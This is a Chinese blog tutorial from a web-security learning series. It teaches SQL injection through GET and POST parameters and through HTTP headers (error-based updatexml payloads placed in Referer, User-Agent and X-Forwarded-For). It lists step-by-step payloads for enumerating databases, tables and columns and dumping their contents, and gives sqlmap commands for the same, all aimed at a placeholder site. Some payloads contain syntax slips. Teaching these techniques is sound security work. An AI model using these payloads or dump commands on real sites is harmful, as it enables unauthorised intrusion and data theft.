網絡安全從入門到精通(第四章-2)GET&POST&HEAD注入

本文內容:

  • GET注入
  • POST注入
  • Head注入
  • sqlmap工具注入

get&post為顯錯注入:

head為報錯注入:

1,GET注入:

  get注入屬于顯錯注入。

    1.判斷注入點:

      最古老的的方法是:

        http://www.xxx.com/new.php?id=1 and 1=1 頁面顯示正常。

        http://www.xxx.com/new.php?id=1 and 1=2 頁面顯示錯誤。

      最簡單的判斷方法是:

        http://www.xxx.com/new.php?id=1 and 1=1 頁面顯示正常。

        http://www.xxx.com/new.php?id=1 and 1=1' 頁面顯示錯誤。

      使用以上兩個方法可能會被ban,然后我們還可以進行其他判斷方法,比如:        

        http://www.xxx.com/new.php?id=1 頁面顯示id=1的新聞

        http://www.xxx.com/new.php?id=2-1頁面顯示id=1的新聞

      或者直接or sleep(5)

    我們在判斷出某地方存在sql注入后,就要建立模型,想想這個sql注入的sql語句會是什么樣的。

    我們從一個表里獲取其他表里的數據,應該怎么做?

    聯合查詢

    但是使用聯合查詢,是需要條件的。我們應該怎么做呢?

    具體看以下流程:

    2.GET注入基本流程:

      msql注入:

      1.判斷是否存在sql注入

        and 1=1

        and 1=2

      2.判斷當前頁面字段數:

        id=1 order by 1,2,3……

      3.判斷回顯點:加入回顯點是3

        http://www.xxx.com/new.php?id=1 union select 1,2,3……

      4.查詢當前數據庫:

        http://www.xxx.com/new.php?id=1 union select database()

      5.查詢當前表名:

        http://www.xxx.com/new.php?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

      6.查詢當前字段名:

        http://www.xxx.com/new.php?id=1 union select1,2,group_concat(column_name) from information_schema.columns where table_name="查詢得出的表名"

      7.查詢字段內容:

        http://www.xxx.com/new.php?id=1 union select1,2,group_concat(查詢得出的字段名) from 查詢得出的表名

    解釋:

      1.因為聯合查詢需要相同的字段數,所以一開始我就先進行了字段數的判斷,使用的是order by。

      2.因為GET注入屬于顯錯注入,所以我們要判斷它的回顯點,這樣方便看查詢的內容。

      3.select database(),是msql查詢當前數據庫的sql語句,學過mysql的應該沒有什么問題。

      4.然后就是查詢表、和查詢字段了,是因為mysql在5.0以上版本中加入了information_schema這個系統自帶庫,其中保存著關于mysql服務器所維護的所有其他數據庫的信息,如數據庫名、數據庫的表、表欄的數據類型與訪問權限等。

      information_schema.tables實際上是選中information_schema庫中的tables表

      information_schema.columns存放字段名和表名的對應。

      5.網站有些時候如果數據庫查詢出多行數據,它只有輸出第一行,所以我們group_concat(),將查詢到的數據,一行顯示。

以上就是GET注入,這里只是手工注入,文章最后會一起講一下使用工具注入。

2,POST注入:

  1.注入攻擊的本質,是把用戶輸入的數據當做代碼執行。

  關鍵條件:

    用戶能夠控制輸入

    原本程序要執行的代碼,拼接了用戶輸入的數據。

  POST:注入屬于顯錯注入的一種。

  POST注入就是使用POST進行傳參注入,本質上和GET類型沒有什么區別。

  POST注入高危點:

    登錄框、查詢框等各種和數據庫有交互的框。

  最經典的POST注入判斷,莫過于萬能密碼' or 1=1 #

  在可以看到代碼的情況,就可以它的sql語句是否進行敏感處理。

  2.POST注入的基本流程:

    mysql注入:

      1.判斷是否存在SQL注入:

        ' or 1=1#     

      2.判斷當前頁面字段數:

        ' or order by 1,2,3……#

      3.判斷回顯點:加入回顯點是3

        ' or union select 1,2,3……#

      4.查詢當前數據庫:

        ' or union select database() #

      5.查詢當前表名:

        ' or union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

      6.查詢當前字段名:

        ' or union select1,2,group_concat(column_name) from information_schema.columns where table_name="查詢得出的表名" #

      7.查詢字段內容:

        ' or union select1,2,group_concat(查詢得出的字段名) from 查詢得出的表名 #

    解釋:

      1.基本流程與GET注入一樣,就是判斷是否存在注入的方式有所不同。

      2.進行判斷是否存在sql注入,字符串閉合時,一定要注意代碼中前字符串是單引號還是雙引號。

以上就是POST注入,這里只是手工注入,文章最后會一起講一下使用工具注入。    

3,HEAD注入介紹

  PHP全局變量-超全局變量:

    PHP中許多預定義變量“超全局的”,這意味著它們在一個腳本中的都可調用。

    $_REQUSET[獲取GET|POST|COOKIE 在新版本中已經無法獲取了]

    $_POST[獲取POST傳參]

    $_GET[獲取GET傳參]

    $_SERVER[包含了注入頭信息(header)、路徑(path)、以及腳本位置(script locations)等等信息]

    $_SERVER功能非常強大。

  常用:

  $_SERVER['HTTP_REFERER'] 獲取Referer請求頭數據。

  $_SERVER['HTTP_USER_AGENT']獲取用戶相關信息,包括用戶瀏覽器、操作系統等信息。

  $_SERVER['REMOTE_ADDR']瀏覽網頁的用戶IP。

  HEAD注入是將采集到的信息放入數據庫中,相當于插入語句,[插入語句是沒有回顯的]。

  沒有回顯,就不能通過聯合查詢了,因為沒有輸出,這種情況:1使用報錯注入2.盲注。

  這里我們就要介紹一個新函數了:updatexml()

  語法:updatexml(目標xml內容,xml文檔,更新的內容)

    舉例:updatexml(1,concat(0x7e,(select database()),0x7e),1),)#

    0x7e是一個特殊符號,然后不符合路徑規則報錯]。

    0x:代表十六進制

    7e:代表~符號

  1.HEAD注入基本流程:一般情況下是在登錄成功之后,如果不知道賬號和密碼,可以使用burpsuite爆破一下。

   head注入就需要使用到我們的抓包工具:BurpSuite了

   head注入需要看是用什么方式獲取信息比如:HTTP_REFERER、USER_AGENT、REMOTE_ADDR

   以HTTP_REFERER、USER_AGENT、X_FORWAREDE_FOR為例:

   假如:HEAD注入,sql插入語句為兩個參數。

    mysql注入:

      1.抓包。

      2.判斷是否存在sql注入:

        在抓包數據內添加代碼,  ' updatexml(1,concat(0x7e(select database()),0x7e),1)1,)#

        如果是user_agent就在user_agent處添加,

        如果是referer就在referer處添加,只是添加位置不同而已。

        如果是x_forwarede_for,就在數據包內添加x_forwarede_for,在將代碼添加上

      3.查詢表:

        updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())0x7e),1),1)#

      4.查詢字段:

        updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="查詢得出表")0x7e),1),1)#

      5.查詢內容:

        updatexml(1,concat(0x7e,(select group_concat(查詢得出字段名)from 查詢得出表名)0x7e),1),1)#3

    補充:x_forwarede_for是用來識別通過HTTP代碼或負載均衡方式連接到web服務器的客戶端最原始的IP地址的HTTP。

         upadatexml()是往數據插入兩個~,一個在開始,一個在結尾,可以通過這種方式查看,是否對輸出長度做了設置。

4,使用sqlmap注入基本流程:

    方式一:

      1.查看是否存在注入,是什么類型的注入

        sqlmap -u url --form 

      2.爆庫:

        sqlmap -u url --form --dbs 

      3.爆表:

        sqlmap -u url --form --tables -D 庫名 

      4.爆字段:

        sqlmap -u url --form --columns -T 表名 -D 庫名 

      5.爆內容:

      sqlmap -u url --form --dump -C 字段名 -T 表名 -D 庫名 

    方式二:可以使用burpsuite抓包,存到txt文檔中

        假設burpsuite抓包存的txt文檔名字是1.txt

        使用抓了數據包,測試注入點,需要加*,精準打擊。

      1.查看是否存在注入,是什么類型的注入

        sqlmap -r /root/桌面/1.txt

      2.爆庫:

        sqlmap -r /root/桌面/1.txt --dbs

      3.爆表:

        sqlmap -r /root/桌面/1.txt --tables -D 庫名 

      4.爆字段:

        sqlmap -r /root/桌面/1.txt --columns -T 表名 -D 庫名 

      5.爆內容:

        sqlmap -r /root/桌面/1.txt  --dump -C 字段名 -T 表名 -D 庫名 

 
與君共勉:
  現在不玩命,
  將來命玩你。
  比你差的人還沒放棄,
  比你強的人仍在努力,
  你有什么資格說“我無能為力”?
  混就混出個名堂,
  學就學出個模樣。
  翻臉不如翻身,
  生氣不如爭氣。
  也別假裝很努力,
  畢竟結果不會陪你演戲。 
posted @ 2020-03-28 23:58  醋成酒的小墨  閱讀(...)  評論(...編輯  收藏
最新chease0ldman老人